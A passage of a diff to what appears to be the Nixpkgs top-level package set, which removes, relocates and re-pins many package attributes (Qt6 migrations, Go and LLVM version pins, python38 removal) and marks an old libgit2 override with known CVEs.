}); }; akkoma-frontends = recurseIntoAttrs { akkoma-fe = callPackage ../servers/akkoma/akkoma-fe { }; @@ -1728,7 +1734,7 @@ with pkgs; btc-rpc-explorer = callPackage ../tools/misc/btc-rpc-explorer { }; - butler = callPackage ../games/itch/butler.nix { + butler = callPackage ../by-name/bu/butler/package.nix { inherit (darwin.apple_sdk.frameworks) Cocoa; buildGoModule = buildGo120Module; }; @@ -2230,7 +2236,9 @@ with pkgs; commitlint = nodePackages."@commitlint/cli"; - conform = callPackage ../applications/version-management/conform { }; + conform = callPackage ../applications/version-management/conform { + buildGoModule = buildGo122Module; + }; datalad = callPackage ../applications/version-management/datalad { }; @@ -2332,7 +2340,7 @@ with pkgs; }; git-cliff = callPackage ../applications/version-management/git-cliff { - inherit (darwin.apple_sdk.frameworks) Security; + inherit (darwin.apple_sdk.frameworks) Security SystemConfiguration; }; git-codeowners = callPackage ../applications/version-management/git-codeowners { }; @@ -2640,14 +2648,6 @@ with pkgs; webfontkitgenerator = callPackage ../applications/misc/webfontkitgenerator { }; - citra-canary = callPackage ../applications/emulators/citra { - branch = "canary"; - }; - - citra-nightly = callPackage ../applications/emulators/citra { - branch = "nightly"; - }; - collapseos-cvm = callPackage ../applications/emulators/collapseos-cvm { }; coltrane = callPackage ../applications/misc/coltrane { }; @@ -2769,7 +2769,7 @@ with pkgs; pcem = callPackage ../applications/emulators/pcem { }; - pcsx2 = disable-warnings-if-gcc13 (qt6Packages.callPackage ../applications/emulators/pcsx2 { }); + pcsx2 = qt6Packages.callPackage ../applications/emulators/pcsx2 { }; pcsxr = callPackage ../applications/emulators/pcsxr { }; @@ -2798,14 +2798,12 @@ with pkgs; retrofe = callPackage ../applications/emulators/retrofe { }; - ripes = libsForQt5.callPackage ../applications/emulators/ripes { }; + ripes = qt6Packages.callPackage ../applications/emulators/ripes { }; rpcemu = callPackage ../applications/emulators/rpcemu { }; ruffle = callPackage ../applications/emulators/ruffle { }; - ryujinx = callPackage ../applications/emulators/ryujinx { }; - sameboy = callPackage ../applications/emulators/sameboy { }; simh = callPackage ../applications/emulators/simh { }; @@ -2910,9 +2908,6 @@ with pkgs; kodi-retroarch-advanced-launchers = callPackage ../applications/emulators/retroarch/kodi-advanced-launchers.nix { }; - ### APPLICATIONS/EMULATORS/YUZU - yuzuPackages = callPackage ../applications/emulators/yuzu {}; - # Aliases kept here because they are easier to use x16-emulator = x16.emulator; x16-rom = x16.rom; @@ -3093,8 +3088,6 @@ with pkgs; termonad = callPackage ../applications/terminal-emulators/termonad { }; - tilix = callPackage ../applications/terminal-emulators/tilix { }; - tym = callPackage ../applications/terminal-emulators/tym { }; wayst = callPackage ../applications/terminal-emulators/wayst { }; @@ -3223,8 +3216,6 @@ with pkgs; apfs-fuse = callPackage ../tools/filesystems/apfs-fuse { }; - api-linter = callPackage ../development/tools/api-linter { }; - apk-tools = callPackage ../tools/package-management/apk-tools { lua = lua5_3; }; @@ -3550,10 +3541,6 @@ with pkgs; biscuit-cli = callPackage ../tools/security/biscuit-cli { }; - bitwarden = callPackage ../tools/security/bitwarden { }; - - bitwarden-cli = callPackage ../tools/security/bitwarden/cli.nix { }; - inherit (callPackages ../tools/security/bitwarden-directory-connector { }) bitwarden-directory-connector-cli bitwarden-directory-connector; bitwarden-menu = python3Packages.callPackage ../applications/misc/bitwarden-menu { }; @@ -3975,8 +3962,6 @@ with pkgs; ipp-usb = callPackage ../os-specific/linux/ipp-usb { }; - itch = callPackage ../games/itch { }; - itchiodl = callPackage ../games/itchiodl { }; itd = callPackage ../applications/misc/itd { }; @@ -4223,7 +4208,9 @@ with pkgs; atftp = callPackage ../tools/networking/atftp { }; - atlas = callPackage ../development/tools/database/atlas { }; + atlas = callPackage ../development/tools/database/atlas { + buildGoModule = buildGo122Module; + }; authoscope = callPackage ../tools/security/authoscope { inherit (darwin.apple_sdk.frameworks) Security; @@ -4380,7 +4367,9 @@ with pkgs; charles4 ; - quaternion = libsForQt5.callPackage ../applications/networking/instant-messengers/quaternion { }; + quaternion-qt5 = libsForQt5.callPackage ../applications/networking/instant-messengers/quaternion { }; + quaternion-qt6 = qt6Packages.callPackage ../applications/networking/instant-messengers/quaternion { }; + quaternion = quaternion-qt6; tensor = libsForQt5.callPackage ../applications/networking/instant-messengers/tensor { }; @@ -4504,11 +4493,6 @@ with pkgs; bws = callPackage ../tools/security/bws { }; - byobu = callPackage ../tools/misc/byobu { - # Choices: [ tmux screen ]; - textual-window-manager = tmux; - }; - bsh = fetchurl { url = "http://www.beanshell.org/bsh-2.0b5.jar"; hash = "sha256-YjIZlWOAc1SzvLWs6z3BNlAvAixrDvdDmHqD9m/uWlw="; @@ -4656,8 +4640,6 @@ with pkgs; clash-geoip = callPackage ../data/misc/clash-geoip { }; - clash-meta = callPackage ../tools/networking/clash-meta { }; - clash-verge = callPackage ../applications/networking/clash-verge { }; clevercsv = with python3Packages; toPythonApplication clevercsv; @@ -4784,6 +4766,10 @@ with pkgs; slurp = callPackage ../tools/wayland/slurp { }; + sway-unwrapped = callPackage ../by-name/sw/sway-unwrapped/package.nix { + wlroots = wlroots_0_17; + }; + swaykbdd = callPackage ../tools/wayland/swaykbdd { }; swayr = callPackage ../tools/wayland/swayr { }; @@ -4834,8 +4820,6 @@ with pkgs; wleave = callPackage ../tools/wayland/wleave { }; - wlogout = callPackage ../tools/wayland/wlogout { }; - wlopm = callPackage ../tools/wayland/wlopm { }; wlprop = callPackage ../tools/wayland/wlprop { }; @@ -4926,8 +4910,6 @@ with pkgs; crunch = callPackage ../tools/security/crunch { }; - crunchy-cli = callPackage ../applications/video/crunchy-cli { }; - crudini = callPackage ../tools/misc/crudini { }; csv2odf = callPackage ../applications/office/csv2odf { }; @@ -4970,8 +4952,6 @@ with pkgs; dapr-cli = callPackage ../development/tools/dapr/cli { }; - das = callPackage ../tools/security/das { }; - dasel = callPackage ../applications/misc/dasel { }; dasher = callPackage ../applications/accessibility/dasher { }; @@ -5639,8 +5619,6 @@ with pkgs; hocr-tools = with python3Packages; toPythonApplication hocr-tools; - home-manager = callPackage ../tools/package-management/home-manager { }; - homepage-dashboard = callPackage ../servers/homepage-dashboard { inherit (darwin) cctools; inherit (darwin.apple_sdk.frameworks) IOKit; @@ -5664,7 +5642,6 @@ with pkgs; hyprdim = callPackage ../applications/misc/hyprdim { }; hyprland = callPackage ../applications/window-managers/hyprwm/hyprland { - stdenv = gcc13Stdenv; wlroots = callPackage ../applications/window-managers/hyprwm/hyprland/wlroots.nix { }; udis86 = callPackage ../applications/window-managers/hyprwm/hyprland/udis86.nix { }; }; @@ -5675,15 +5652,9 @@ with pkgs; hyprland-protocols = callPackage ../applications/window-managers/hyprwm/hyprland-protocols { }; - hyprlang = callPackage ../by-name/hy/hyprlang/package.nix { - stdenv = gcc13Stdenv; - }; - hyprnome = callPackage ../applications/misc/hyprnome { }; - hyprpaper = callPackage ../applications/window-managers/hyprwm/hyprpaper { - stdenv = gcc13Stdenv; - }; + hyprpaper = callPackage ../applications/window-managers/hyprwm/hyprpaper { }; hyprpicker = callPackage ../applications/window-managers/hyprwm/hyprpicker { wlroots = wlroots_0_16; @@ -6457,7 +6428,7 @@ with pkgs; routersploit = callPackage ../tools/security/routersploit { }; routinator = callPackage ../servers/routinator { - inherit (darwin.apple_sdk.frameworks) Security; + inherit (darwin.apple_sdk.frameworks) Security SystemConfiguration; }; rsbep = callPackage ../tools/backup/rsbep { }; @@ -6621,15 +6592,7 @@ with pkgs; beanstalkd = callPackage ../servers/beanstalkd { }; - bee = callPackage ../applications/networking/bee/bee.nix { - version = "release"; - }; - - bee-unstable = bee.override { - version = "unstable"; - }; - - bee-clef = callPackage ../applications/networking/bee/bee-clef.nix { }; + bee = callPackage ../applications/networking/bee/bee.nix { }; beetsPackages = lib.recurseIntoAttrs (callPackage ../tools/audio/beets { }); inherit (beetsPackages) beets beets-unstable; @@ -7261,8 +7224,6 @@ with pkgs; createrepo_c = callPackage ../tools/package-management/createrepo_c { }; - cringify = callPackage ../tools/text/cringify { }; - cromfs = callPackage ../tools/archivers/cromfs { }; cron = callPackage ../tools/system/cron { }; @@ -7401,6 +7362,8 @@ with pkgs; debugedit = callPackage ../development/tools/misc/debugedit { }; + decode-spam-headers = callPackage ../tools/networking/decode-spam-headers { }; + deer = callPackage ../shells/zsh/zsh-deer { }; deno = callPackage ../development/web/deno { }; @@ -7835,7 +7798,7 @@ with pkgs; (callPackage ../development/libraries/volk { }) ; - vorta = libsForQt5.callPackage ../applications/backup/vorta { }; + vorta = qt6Packages.callPackage ../applications/backup/vorta { }; vowpal-wabbit = callPackage ../applications/science/machine-learning/vowpal-wabbit { }; @@ -8070,29 +8033,17 @@ with pkgs; chewing-editor = libsForQt5.callPackage ../applications/misc/chewing-editor { }; - fcitx5 = libsForQt5.callPackage ../tools/inputmethods/fcitx5 { }; - - fcitx5-with-addons = libsForQt5.callPackage ../tools/inputmethods/fcitx5/with-addons.nix { }; + fcitx5 = callPackage ../tools/inputmethods/fcitx5 { }; fcitx5-bamboo = callPackage ../tools/inputmethods/fcitx5/fcitx5-bamboo.nix { }; - fcitx5-chinese-addons = libsForQt5.callPackage ../tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix { }; - fcitx5-mozc = libsForQt5.callPackage ../tools/inputmethods/fcitx5/fcitx5-mozc.nix { abseil-cpp = abseil-cpp.override { cxxStandard = "17"; }; }; - fcitx5-skk = libsForQt5.callPackage ../tools/inputmethods/fcitx5/fcitx5-skk.nix { }; - - fcitx5-skk-qt = fcitx5-skk.override { - enableQt = true; - }; - - fcitx5-unikey = libsForQt5.callPackage ../tools/inputmethods/fcitx5/fcitx5-unikey.nix { }; - - fcitx5-configtool = libsForQt5.callPackage ../tools/inputmethods/fcitx5/fcitx5-configtool.nix { }; + fcitx5-skk = qt6Packages.callPackage ../tools/inputmethods/fcitx5/fcitx5-skk.nix { }; fcitx5-anthy = callPackage ../tools/inputmethods/fcitx5/fcitx5-anthy.nix { }; @@ -8200,8 +8151,6 @@ with pkgs; flashrom = callPackage ../tools/misc/flashrom { }; - flashrom-stable = callPackage ../tools/misc/flashrom-stable { }; - flent = python3Packages.callPackage ../applications/networking/flent { }; flexoptix-app = callPackage ../tools/misc/flexoptix-app { }; @@ -8445,7 +8394,7 @@ with pkgs; }) garage garage_0_8 garage_0_9 - garage_0_8_5 garage_0_9_1; + garage_0_8_7 garage_0_9_3; garmintools = callPackage ../development/libraries/garmintools { }; @@ -8646,7 +8595,7 @@ with pkgs; jdk = graalvm-ce; }; - gnucap = callPackage ../applications/science/electronics/gnucap { }; + gnucap-full = gnucap.withPlugins(p: [ p.verilog ]); gnu-cim = callPackage ../development/compilers/gnu-cim { }; @@ -8758,11 +8707,11 @@ with pkgs; google-clasp = callPackage ../development/tools/google-clasp { }; - google-compute-engine = with python38.pkgs; toPythonApplication google-compute-engine; + google-compute-engine = with python3.pkgs; toPythonApplication google-compute-engine; google-guest-oslogin = callPackage ../tools/virtualization/google-guest-oslogin { }; - google-cloud-cpp = disable-warnings-if-gcc13 (callPackage ../development/libraries/google-cloud-cpp { }); + google-cloud-cpp = callPackage ../development/libraries/google-cloud-cpp { }; google-java-format = callPackage ../development/tools/google-java-format { }; @@ -8833,8 +8782,6 @@ with pkgs; grails = callPackage ../development/web/grails { jdk = null; }; - graylog-5_0 = callPackage ../tools/misc/graylog/5.0.nix { }; - graylog-5_1 = callPackage ../tools/misc/graylog/5.1.nix { }; graylog-5_2 = callPackage ../tools/misc/graylog/5.2.nix { }; @@ -8844,11 +8791,11 @@ with pkgs; ); graphviz = callPackage ../tools/graphics/graphviz { - inherit (darwin.apple_sdk.frameworks) ApplicationServices; + inherit (darwin.apple_sdk.frameworks) ApplicationServices Foundation; }; graphviz-nox = callPackage ../tools/graphics/graphviz { - inherit (darwin.apple_sdk.frameworks) ApplicationServices; + inherit (darwin.apple_sdk.frameworks) ApplicationServices Foundation; withXorg = false; }; @@ -8965,8 +8912,6 @@ with pkgs; gtdialog = callPackage ../development/libraries/gtdialog { }; - gtkclipblock = callPackage ../by-name/gt/gtkclipblock/package.nix { stdenv = gcc13Stdenv; }; - gtkd = callPackage ../development/libraries/gtkd { dcompiler = ldc; }; gtkgnutella = callPackage ../tools/networking/p2p/gtk-gnutella { }; @@ -9414,15 +9359,13 @@ with pkgs; inql = callPackage ../tools/security/inql { }; - intel-media-sdk = disable-warnings-if-gcc13 (callPackage ../development/libraries/intel-media-sdk { }); + intel-media-sdk = callPackage ../development/libraries/intel-media-sdk { }; intermodal = callPackage ../tools/misc/intermodal { }; internetarchive = with python3Packages; toPythonApplication internetarchive; invidious = callPackage ../servers/invidious { - # needs a specific version of lsquic - lsquic = callPackage ../servers/invidious/lsquic.nix { }; # normally video.js is downloaded at build time videojs = callPackage ../servers/invidious/videojs.nix { }; }; @@ -10319,6 +10262,8 @@ with pkgs; inherit (callPackages ../build-support/node/fetch-npm-deps { }) fetchNpmDeps prefetch-npm-deps; + importNpmLock = callPackages ../build-support/node/import-npm-lock { }; + nodePackages_latest = dontRecurseIntoAttrs nodejs_latest.pkgs // { __attrsFailEvaluation = true; }; nodePackages = dontRecurseIntoAttrs nodejs.pkgs // { __attrsFailEvaluation = true; }; @@ -10781,8 +10726,6 @@ with pkgs; mbuffer = callPackage ../tools/misc/mbuffer { }; - mdsh = callPackage ../development/tools/documentation/mdsh { }; - mecab = let mecab-nodic = callPackage ../tools/text/mecab/nodic.nix { }; @@ -10927,8 +10870,6 @@ with pkgs; molotov = callPackage ../applications/video/molotov { }; - moneyplex = callPackage ../applications/office/moneyplex { }; - monit = callPackage ../tools/system/monit { }; monocraft = callPackage ../data/fonts/monocraft { }; @@ -11476,6 +11417,10 @@ with pkgs; openfortivpn = callPackage ../tools/networking/openfortivpn { }; + openobserve = darwin.apple_sdk_11_0.callPackage ../servers/monitoring/openobserve { + apple_sdk = darwin.apple_sdk_11_0; + }; + obexfs = callPackage ../tools/bluetooth/obexfs { }; obexftp = callPackage ../tools/bluetooth/obexftp { }; @@ -11545,6 +11490,7 @@ with pkgs; opendht = callPackage ../development/libraries/opendht { inherit (darwin.apple_sdk.frameworks) Security; + restinio = restinio_0_6; }; opendkim = callPackage ../development/libraries/opendkim { }; @@ -11657,6 +11603,8 @@ with pkgs; stdenv = clangStdenv; }; + namespaced-openvpn = python3Packages.callPackage ../tools/networking/namespaced-openvpn { }; + oq = callPackage ../development/tools/oq { }; out-of-tree = callPackage ../development/tools/out-of-tree { }; @@ -12003,8 +11951,6 @@ with pkgs; pg_top = callPackage ../tools/misc/pg_top { }; - pgagroal = callPackage ../development/tools/database/pgagroal { }; - pgcenter = callPackage ../tools/misc/pgcenter { }; pgmetrics = callPackage ../tools/misc/pgmetrics { }; @@ -12442,8 +12388,6 @@ with pkgs; ouch = callPackage ../tools/compression/ouch { }; - outils = callPackage ../tools/misc/outils { }; - mpi = openmpi; # this attribute should used to build MPI applications mpiCheckPhaseHook = callPackage ../build-support/setup-hooks/mpi-check-hook { }; @@ -13073,8 +13017,6 @@ with pkgs; seqdiag = with python3Packages; toPythonApplication seqdiag; - sequoia-sq = callPackage ../tools/security/sequoia-sq { }; - sequoia-sqv = callPackage ../tools/security/sequoia-sqv { }; sequoia-sqop = callPackage ../tools/security/sequoia-sqop { }; @@ -13288,8 +13230,6 @@ with pkgs; smpq = callPackage ../applications/misc/smpq { }; - sn0int = callPackage ../tools/security/sn0int { }; - snabb = callPackage ../tools/networking/snabb { }; snallygaster = callPackage ../tools/security/snallygaster { }; @@ -13748,7 +13688,9 @@ with pkgs; teip = callPackage ../tools/text/teip { }; - telegraf = callPackage ../servers/monitoring/telegraf { }; + telegraf = callPackage ../servers/monitoring/telegraf { + buildGoModule = buildGo122Module; + }; teleport_12 = callPackage ../servers/teleport/12 { inherit (darwin.apple_sdk.frameworks) CoreFoundation Security AppKit; @@ -13769,8 +13711,6 @@ with pkgs; teler = callPackage ../tools/security/teler { }; - telescope = callPackage ../applications/networking/browsers/telescope { }; - termcolor = callPackage ../development/libraries/termcolor { }; termscp = callPackage ../tools/networking/termscp { @@ -14492,7 +14432,7 @@ with pkgs; watchlog = callPackage ../tools/misc/watchlog { }; - watchman = callPackage ../development/tools/watchman { + watchman = darwin.apple_sdk_11_0.callPackage ../development/tools/watchman { inherit (darwin.apple_sdk_11_0.frameworks) CoreServices; }; @@ -14543,8 +14483,6 @@ with pkgs; wimboot = callPackage ../tools/misc/wimboot { }; - wit-bindgen = callPackage ../tools/misc/wit-bindgen { }; - wire = callPackage ../development/tools/wire { }; wireguard-tools = callPackage ../tools/networking/wireguard-tools { }; @@ -14720,11 +14658,6 @@ with pkgs; inherit (darwin) cctools; }; - units = callPackage ../tools/misc/units { - enableCurrenciesUpdater = true; - pythonPackages = python3Packages; - }; - unittest-cpp = callPackage ../development/libraries/unittest-cpp { }; unnaturalscrollwheels = callPackage ../tools/inputmethods/unnaturalscrollwheels { }; @@ -14852,7 +14785,6 @@ with pkgs; volumeicon = callPackage ../tools/audio/volumeicon { }; - waf = callPackage ../development/tools/build-managers/waf { }; # An alias to work around the splicing incidents # Related: # https://github.com/NixOS/nixpkgs/issues/204303 @@ -14915,8 +14847,6 @@ with pkgs; woeusb-ng = callPackage ../tools/misc/woeusb-ng { }; - wslu = callPackage ../tools/system/wslu { }; - chase = callPackage ../tools/system/chase { }; wimlib = callPackage ../tools/archivers/wimlib { }; @@ -15741,6 +15671,7 @@ with pkgs; flutterPackages = recurseIntoAttrs (callPackage ../development/compilers/flutter { }); flutter = flutterPackages.stable; + flutter319 = flutterPackages.v3_19; flutter316 = flutterPackages.v3_16; flutter313 = flutterPackages.v3_13; @@ -16028,7 +15959,7 @@ with pkgs; inherit (gnome2) libart_lgpl; }); - gnat = gnat12; + gnat = gnat12; # When changing this, update also gnatPackages gnat11 = wrapCC (gcc11.cc.override { name = "gnat"; @@ -16100,6 +16031,14 @@ with pkgs; bintools = bintoolsDualAs; }); + gnat12Packages = recurseIntoAttrs (callPackage ./ada-packages.nix { gnat = buildPackages.gnat12; }); + gnat13Packages = recurseIntoAttrs (callPackage ./ada-packages.nix { gnat = buildPackages.gnat13; }); + gnatPackages = gnat12Packages; + + inherit (gnatPackages) + gprbuild + gnatprove; + gnu-smalltalk = callPackage ../development/compilers/gnu-smalltalk { }; gccgo = wrapCC (gcc.cc.override { @@ -16297,6 +16236,8 @@ with pkgs; go-junit-report = callPackage ../development/tools/go-junit-report { }; + gocover-cobertura = callPackage ../development/tools/gocover-cobertura { }; + gobang = callPackage ../development/tools/database/gobang { inherit (darwin.apple_sdk.frameworks) CoreFoundation Security SystemConfiguration; }; @@ -16564,6 +16505,8 @@ with pkgs; llvm_16 = llvmPackages_16.llvm; llvm_17 = llvmPackages_17.llvm; + mlir_17 = llvmPackages_17.mlir; + libllvm = llvmPackages.libllvm; llvm-manpages = llvmPackages.llvm-manpages; @@ -16874,7 +16817,7 @@ with pkgs; cargo-all-features = callPackage ../development/tools/rust/cargo-all-features { }; cargo-apk = callPackage ../development/tools/rust/cargo-apk { }; cargo-audit = callPackage ../development/tools/rust/cargo-audit { - inherit (darwin.apple_sdk.frameworks) Security; + inherit (darwin.apple_sdk.frameworks) Security SystemConfiguration; }; cargo-benchcmp = callPackage ../development/tools/rust/cargo-benchcmp { }; cargo-binstall = callPackage ../development/tools/rust/cargo-binstall { }; @@ -16957,7 +16900,6 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) Security; }; cargo-binutils = callPackage ../development/tools/rust/cargo-binutils { }; - cargo-bloat = callPackage ../development/tools/rust/cargo-bloat { }; cargo-bolero = callPackage ../development/tools/rust/cargo-bolero { }; cargo-bundle = callPackage ../development/tools/rust/cargo-bundle { }; cargo-bundle-licenses = callPackage ../development/tools/rust/cargo-bundle-licenses { }; @@ -16997,7 +16939,6 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) CoreServices Security; }; cargo-limit = callPackage ../development/tools/rust/cargo-limit { }; - cargo-make = callPackage ../development/tools/rust/cargo-make { }; cargo-modules = callPackage ../development/tools/rust/cargo-modules { }; cargo-mommy = callPackage ../development/tools/rust/cargo-mommy { }; cargo-msrv = callPackage ../development/tools/rust/cargo-msrv { @@ -17224,7 +17165,6 @@ with pkgs; tbb = tbb_2020_3; terra = callPackage ../development/compilers/terra { - llvmPackages = llvmPackages_11; inherit (darwin) libobjc; inherit (darwin.apple_sdk.frameworks) Cocoa Foundation; }; @@ -17240,8 +17180,7 @@ with pkgs; tinycc = darwin.apple_sdk_11_0.callPackage ../development/compilers/tinycc { }; tinygo = callPackage ../development/compilers/tinygo { - llvmPackages = llvmPackages_16; - wasi-libc = pkgsCross.wasi32.wasilibc; + llvmPackages = llvmPackages_17; }; tinyscheme = callPackage ../development/interpreters/tinyscheme { }; @@ -17755,54 +17694,47 @@ with pkgs; python3Full = python3.override { self = python3Full; pythonAttr = "python3Full"; - bluezSupport = true; - x11Support = true; - }; - python38Full = python38.override { - self = python38Full; - pythonAttr = "python38Full"; - bluezSupport = true; + bluezSupport = lib.meta.availableOn stdenv.hostPlatform bluez; x11Support = true; }; python39Full = python39.override { self = python39Full; pythonAttr = "python39Full"; - bluezSupport = true; + bluezSupport = lib.meta.availableOn stdenv.hostPlatform bluez; x11Support = true; }; python310Full = python310.override { self = python310Full; pythonAttr = "python310Full"; - bluezSupport = true; + bluezSupport = lib.meta.availableOn stdenv.hostPlatform bluez; x11Support = true; }; python311Full = python311.override { self = python311Full; pythonAttr = "python311Full"; - bluezSupport = true; + bluezSupport = lib.meta.availableOn stdenv.hostPlatform bluez; x11Support = true; }; python312Full = python312.override { self = python312Full; pythonAttr = "python312Full"; - bluezSupport = true; + bluezSupport = lib.meta.availableOn stdenv.hostPlatform bluez; x11Support = true; }; python313Full = python313.override { self = python313Full; pythonAttr = "python313Full"; - bluezSupport = true; + bluezSupport = lib.meta.availableOn stdenv.hostPlatform bluez; x11Support = true; }; pythonInterpreters = callPackage ./../development/interpreters/python { }; - inherit (pythonInterpreters) python27 python38 python39 python310 python311 python312 python313 python3Minimal pypy27 pypy310 pypy39 rustpython; + inherit (pythonInterpreters) python27 python39 python310 python311 python312 python313 python3Minimal pypy27 pypy310 pypy39 rustpython; # List of extensions with overrides to apply to all Python package sets. pythonPackagesExtensions = [ ]; # Python package sets. python27Packages = python27.pkgs // { __attrsFailEvaluation = true; }; - python38Packages = python38.pkgs // { __attrsFailEvaluation = true; }; python39Packages = python39.pkgs // { __attrsFailEvaluation = true; }; python310Packages = python310.pkgs // { __attrsFailEvaluation = true; }; python311Packages = recurseIntoAttrs python311.pkgs // { pythonPackages = python311.pkgs // { __attrsFailEvaluation = true; }; }; @@ -17952,10 +17884,6 @@ with pkgs; sparkleshare = callPackage ../applications/version-management/sparkleshare { }; - spark2014 = callPackage ../development/libraries/ada/spark2014 { - ocamlPackages = ocaml-ng.ocamlPackages_4_14; - }; - spidermonkey_78 = callPackage ../development/interpreters/spidermonkey/78.nix { inherit (darwin) libobjc; }; @@ -18153,8 +18081,6 @@ with pkgs; adreaper = callPackage ../tools/security/adreaper { }; - adtool = callPackage ../tools/admin/adtool { }; - aeron = callPackage ../servers/aeron { }; inherit (callPackage ../development/tools/alloy { }) @@ -18970,8 +18896,6 @@ with pkgs; drm_info = callPackage ../development/tools/drm_info { }; - drush = callPackage ../development/tools/misc/drush { }; - dura = callPackage ../development/tools/misc/dura { inherit (darwin.apple_sdk.frameworks) Security; }; @@ -19141,14 +19065,6 @@ with pkgs; global = callPackage ../development/tools/misc/global { }; - gnatcoll-db2ada = callPackage ../development/libraries/ada/gnatcoll/db.nix { - component = "gnatcoll_db2ada"; - }; - - gnatinspect = callPackage ../development/libraries/ada/gnatcoll/db.nix { - component = "gnatinspect"; - }; - gnome-doc-utils = callPackage ../development/tools/documentation/gnome-doc-utils { }; gnome-desktop-testing = callPackage ../development/tools/gnome-desktop-testing { }; @@ -19193,10 +19109,6 @@ with pkgs; gotty = callPackage ../servers/gotty { }; - gprbuild-boot = callPackage ../development/tools/build-managers/gprbuild/boot.nix { }; - - gprbuild = callPackage ../development/tools/build-managers/gprbuild { }; - gputils = callPackage ../development/embedded/gputils { }; gpuvis = callPackage ../development/tools/misc/gpuvis { }; @@ -19424,8 +19336,6 @@ with pkgs; lenmus = callPackage ../applications/misc/lenmus { }; - lightningcss = callPackage ../development/tools/lightningcss { }; - libtool = libtool_2; libtool_1_5 = callPackage ../development/tools/misc/libtool { }; @@ -19551,15 +19461,6 @@ with pkgs; haskell-ci = haskell.lib.compose.justStaticExecutables haskellPackages.haskell-ci; - neoload = callPackage ../development/tools/neoload { - licenseAccepted = (config.neoload.accept_license or false); - fontsConf = makeFontsConf { - fontDirectories = [ - dejavu_fonts.minimal - ]; - }; - }; - nailgun = callPackage ../development/tools/nailgun { }; nap = callPackage ../development/tools/nap { }; @@ -20060,8 +19961,6 @@ with pkgs; swiftformat = callPackage ../development/tools/swiftformat { }; - symfony-cli = callPackage ../development/tools/symfony-cli { }; - swiftshader = callPackage ../development/libraries/swiftshader { }; systemfd = callPackage ../development/tools/systemfd { }; @@ -20173,7 +20072,22 @@ with pkgs; ttyd = callPackage ../servers/ttyd { }; turbogit = callPackage ../development/tools/turbogit { - libgit2 = libgit2_1_3_0; + libgit2 = libgit2.overrideAttrs rec { + version = "1.3.0"; + src = pkgs.fetchFromGitHub { + owner = "libgit2"; + repo = "libgit2"; + rev = "v${version}"; + hash = "sha256-7atNkOBzX+nU1gtFQEaE+EF1L+eex+Ajhq2ocoJY920="; + }; + patches = []; + # tests fail on old version + doCheck = false; + meta = libgit2.meta // { + maintainers = []; + knownVulnerabilities = [ "CVE-2024-24575" "CVE-2024-24577" "CVE-2022-29187" "CVE 2022-24765" ]; + }; + }; }; tweak = callPackage ../applications/editors/tweak { }; @@ -20437,6 +20351,8 @@ with pkgs; argparse = callPackage ../development/libraries/argparse { }; + argparse-manpage = with python3Packages; toPythonApplication argparse-manpage; + argp-standalone = callPackage ../development/libraries/argp-standalone { }; aribb25 = callPackage ../development/libraries/aribb25 { @@ -20778,8 +20694,6 @@ with pkgs; cointop = callPackage ../applications/misc/cointop { }; - collada-dom = callPackage ../development/libraries/collada-dom { }; - coloquinte = callPackage ../development/libraries/science/electronics/coloquinte { }; cog = callPackage ../development/web/cog { }; @@ -20980,7 +20894,7 @@ with pkgs; editline = callPackage ../development/libraries/editline { }; - edencommon = callPackage ../development/libraries/edencommon { }; + edencommon = darwin.apple_sdk_11_0.callPackage ../development/libraries/edencommon { }; eigen = callPackage ../development/libraries/eigen { }; @@ -21059,11 +20973,9 @@ with pkgs; autoreconfHook = buildPackages.autoreconfHook269; }; - fastcdr = callPackage ../development/libraries/fastcdr { }; + fbthrift = darwin.apple_sdk_11_0.callPackage ../development/libraries/fbthrift { }; - fbthrift = callPackage ../development/libraries/fbthrift { }; - - fb303 = callPackage ../development/libraries/fb303 { }; + fb303 = darwin.apple_sdk_11_0.callPackage ../development/libraries/fb303 { }; fcgi = callPackage ../development/libraries/fcgi { }; @@ -21145,7 +21057,7 @@ with pkgs; filtron = callPackage ../servers/filtron { }; - fizz = callPackage ../development/libraries/fizz { }; + fizz = darwin.apple_sdk_11_0.callPackage ../development/libraries/fizz { }; flann = callPackage ../development/libraries/flann { }; @@ -21219,7 +21131,7 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) CoreFoundation; }; - folly = callPackage ../development/libraries/folly { }; + folly = darwin.apple_sdk_11_0.callPackage ../development/libraries/folly { }; folks = callPackage ../development/libraries/folks { }; @@ -21384,7 +21296,7 @@ with pkgs; stdenv = if stdenv.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; }; - graphia = libsForQt5.callPackage ../applications/science/misc/graphia { }; + graphia = qt6Packages.callPackage ../applications/science/misc/graphia { }; graphinder = callPackage ../tools/security/graphinder { }; @@ -21398,39 +21310,6 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) Security; }; - libgit2_1_3_0 = libgit2.overrideAttrs rec { - version = "1.3.0"; - src = pkgs.fetchFromGitHub { - owner = "libgit2"; - repo = "libgit2"; - rev = "v${version}"; - hash = "sha256-7atNkOBzX+nU1gtFQEaE+EF1L+eex+Ajhq2ocoJY920="; - }; - patches = []; - }; - - libgit2_1_5 = libgit2.overrideAttrs rec { - version = "1.5.1"; - src = pkgs.fetchFromGitHub { - owner = "libgit2"; - repo = "libgit2"; - rev = "v${version}"; - hash = "sha256-KzBMwpqn6wUFhgB3KDclBS0BvZSVcasM5AG/y+L91xM="; - }; - patches = []; - }; - - libgit2_1_6 = libgit2.overrideAttrs rec { - version = "1.6.5"; - src = fetchFromGitHub { - owner = "libgit2"; - repo = "libgit2"; - rev = "v${version}"; - hash = "sha256-2tgXnrB85dEfxu7giETqMuFxfm0RH5MicHZqO3ezGu0="; - }; - patches = [ ]; - }; - libgit2-glib = callPackage ../development/libraries/libgit2-glib { }; libhsts = callPackage ../development/libraries/libhsts { }; @@ -21604,27 +21483,6 @@ with pkgs; gl3w = callPackage ../development/libraries/gl3w { }; - gnatcoll-core = callPackage ../development/libraries/ada/gnatcoll/core.nix { }; - - # gnatcoll-bindings repository - gnatcoll-gmp = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { component = "gmp"; }; - gnatcoll-iconv = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { component = "iconv"; }; - gnatcoll-lzma = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { component = "lzma"; }; - gnatcoll-omp = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { component = "omp"; }; - gnatcoll-python3 = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { - component = "python3"; - python3 = python39; - }; - gnatcoll-readline = callPackage 